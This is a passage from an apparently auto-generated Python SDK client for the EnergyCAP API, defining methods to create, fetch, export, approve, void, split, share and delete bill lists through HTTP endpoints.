if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_list.metadata = {'url': '/api/v3/list/{listId}'}
def create_default_list(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a new list with default list settings.
:param body: The list create properties
:type body: ~energycap.sdk.models.ListCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ListCreateResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ListCreateResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_default_list.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ListCreateResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_default_list.metadata = {'url': '/api/v3/list'}
def get_lists(
self, list_type_id=None, custom_headers=None, raw=False, **operation_config):
"""Get a list of bill lists.
For a list to be returned you must have created the list
or have BillListAdministrator Manage permission and the list is shared
with anyone
or have SharedBillList View permission and the list is shared with you.
:param list_type_id: Type of list
:type list_type_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ListCreateResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_lists.metadata['url']
# Construct parameters
query_parameters = {}
if list_type_id is not None:
query_parameters['listTypeId'] = self._serialize.query("list_type_id", list_type_id, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ListCreateResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_lists.metadata = {'url': '/api/v3/list'}
def get_list_with_data(
self, list_id, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Get the definition and data for a list.
For a list to be returned you must have created the list
or have BillListAdministrator Manage permission and the list is shared
with anyone
or have SharedBillList View permission and the list is shared with you.
:param list_id: The list for which the definition and data are to be
retrieved
:type list_id: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ListResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ListResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_list_with_data.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('ListResponse', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_list_with_data.metadata = {'url': '/api/v3/list/{listId}/data'}
def delete_bills_in_bill_list(
self, list_id, custom_headers=None, raw=False, **operation_config):
"""Delete all bills in a bill list.
:param list_id: The list identifier
:type list_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillDeleteActionResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillDeleteActionResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_bills_in_bill_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillDeleteActionResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
delete_bills_in_bill_list.metadata = {'url': '/api/v3/list/{listId}/data'}
def export_bill_list(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Export all bills in a list to ap or gl
Maximum of 10000 bills can be processed at one time.
:param list_id: The list identifier
:type list_id: int
:param body: Bill Export Options
:type body: ~energycap.sdk.models.BillExportOptions
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.export_bill_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillExportOptions')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
export_bill_list.metadata = {'url': '/api/v3/list/{listId}/export'}
def approve_bill_list(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Approve/unapprove bill list.
:param list_id: The list identifier
:type list_id: int
:param body: Boolean representing approve flag
:type body: ~energycap.sdk.models.ListActionApprove
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.approve_bill_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionApprove')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
approve_bill_list.metadata = {'url': '/api/v3/list/{listId}/approve'}
def export_hold_bill_list(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Hold/release bill list for export.
:param list_id: The list identifier
:type list_id: int
:param body: Boolean representing exportHold flag
:type body: ~energycap.sdk.models.ListActionExportHold
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.export_hold_bill_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionExportHold')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
export_hold_bill_list.metadata = {'url': '/api/v3/list/{listId}/exporthold'}
def void_bill_list(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Void/unvoid bill list.
:param list_id: The list identifier
:type list_id: int
:param body: Boolean representing void flag
:type body: ~energycap.sdk.models.ListActionVoid
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.void_bill_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionVoid')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
void_bill_list.metadata = {'url': '/api/v3/list/{listId}/void'}
def update_bill_list_headers(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update all headers for a bill list
If a new begin date or end date is being set, bills that would have end
dates on or before their begin date will not be updated
If the user does not have permission to edit exported or approved
bills, those bills will not be updated
Bills audits won't be fired.
:param list_id: The list identifier
:type list_id: int
:param body: Bill list header update action
:type body: ~energycap.sdk.models.BillHeaderUpdate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_bill_list_headers.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillHeaderUpdate')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_bill_list_headers.metadata = {'url': '/api/v3/list/{listId}/billHeaders'}
def list_export(
self, list_id, custom_headers=None, raw=False, **operation_config):
"""Export list data to excel spreadsheet format.
:param list_id: The list identifier
:type list_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.list_export.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
list_export.metadata = {'url': '/api/v3/list/{listId}/data/excelexport'}
def get_possible_destination_accounts_for_list(
self, list_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves a list of accounts that contain meters of ALL of the
commodities represented by the given Bill List.
:param list_id: A specific Bill List that should be used for finding
matching Accounts.
:type list_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MoveBillsDestination or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MoveBillsDestination or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_possible_destination_accounts_for_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MoveBillsDestination', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_possible_destination_accounts_for_list.metadata = {'url': '/api/v3/list/{listId}/possibleDestinationAccounts'}
def move_bills_to_account_from_list(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Moves the bills from the given Bill List to the specified destination
Account and Meters. Each source Meter will be matched with
a corresponding destination Meter based on commodity.
<param name="listId">
Bill List containing a list of bills that should be moved. All bills
from this list will be moved.
</param><param name="dto">
DTO containing the destination Account Id, the destination AcountMeter
Ids, a flag indicating whether the Account GL
information should be updated, and a flag indicating whether the Meter
GL information should be updated.
</param>.
:param list_id:
:type list_id: int
:param body:
:type body: ~energycap.sdk.models.BillActionMoveList
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.move_bills_to_account_from_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillActionMoveList')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
move_bills_to_account_from_list.metadata = {'url': '/api/v3/list/{listId}/moveBills'}
def flag_bill_list_action(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Create and/or update flags for all bills in a list.
:param list_id: Bill list containing a list of bills that will have
flags created or updated
:type list_id: int
:param body: DTO containing the new state of the flags on each bill in
the list
:type body: ~energycap.sdk.models.FlagEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.flag_bill_list_action.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'FlagEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
flag_bill_list_action.metadata = {'url': '/api/v3/list/{listId}/flagAction'}
def export_historical_bill_list(
self, list_id, custom_headers=None, raw=False, **operation_config):
"""Generate a bill import file from bills in a list.
:param list_id: The id of the list to get bills from
:type list_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: str or ClientRawResponse if raw=true
:rtype: str or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.export_historical_bill_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('str', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
export_historical_bill_list.metadata = {'url': '/api/v3/list/{listId}/bill/generateimport'}
def account_export_historical_bill_list(
self, account_id, custom_headers=None, raw=False, **operation_config):
"""Generate a bill import file from all bills in an account bill list.
:param account_id: The account from which to get all bills
:type account_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: str or ClientRawResponse if raw=true
:rtype: str or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.account_export_historical_bill_list.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('str', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
account_export_historical_bill_list.metadata = {'url': '/api/v3/account/{accountId}/list/bill/generateimport'}
def meter_export_historical_bill_list(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Generate a bill import file from all bills in a meter bill list.
:param meter_id: The meter from which to get all bills
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: str or ClientRawResponse if raw=true
:rtype: str or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.meter_export_historical_bill_list.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('str', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
meter_export_historical_bill_list.metadata = {'url': '/api/v3/meter/{meterId}/list/bill/generateimport'}
def unexport_bill_list(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Unexport bill list.
:param list_id: The list identifier
:type list_id: int
:param body: Value of "ap" for A/P unexport, or "gl" for GL unexport
:type body: ~energycap.sdk.models.BillUnexportOptions
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.unexport_bill_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillUnexportOptions')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
unexport_bill_list.metadata = {'url': '/api/v3/list/{listId}/unexport'}
def split_bill_list(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Split all bills eligible to be split in a bill list.
:param list_id: The list identifier
:type list_id: int
:param body: Optional note and batch settings can be provided. Batch
Settings will allow custom batchcode and bill headers for the
destination bills
:type body: ~energycap.sdk.models.ChargebackProcessorSettingsForSplits
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackTaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackTaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.split_bill_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ChargebackProcessorSettingsForSplits')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackTaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
split_bill_list.metadata = {'url': '/api/v3/list/{listId}/split'}
def get_list_share(
self, list_id, custom_headers=None, raw=False, **operation_config):
"""Get the shared users and user groups for a list.
You must have created the list and have SharedBillLists Create
permission
or have BillListAdministrator Manage permission and the list is shared
with anyone.
:param list_id: The list identifier
:type list_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ShareResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ShareResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_list_share.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ShareResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_list_share.metadata = {'url': '/api/v3/list/{listId}/share'}
def edit_list_share(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update the shared users and user groups for a list.
To remove sharing completely set SharedWithEveryone to false,
SharedUserIds to [], and SharedUserGroupIds to [].
You must have created the list
or have BillListAdministrator Manage permission and the list is shared
with anyone
or have SharedBillList Create permission and the list is shared with
you.
:param list_id: The list identifier
:type list_id: int
:param body: Users and user groups to share the list with
:type body: ~energycap.sdk.models.ShareRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ShareResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ShareResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_list_share.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ShareRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ShareResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_list_share.metadata = {'url': '/api/v3/list/{listId}/share'}
def edit_list_share_visibility(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update the visibility of a list for the current user
This must be a list you can see, which means
you must have created the list
or have BillListAdministrator Manage permission and the list is shared
with anyone
or have SharedBillLists View permission and the list is shared with
you.
:param list_id: The shared list identifier
:type list_id: int
:param body: Set shared list visibility
:type body: ~energycap.sdk.models.ToggleVisible
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ListCreateResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ListCreateResponse or
~msrest.pipeline.ClientRawResponse
:raises:
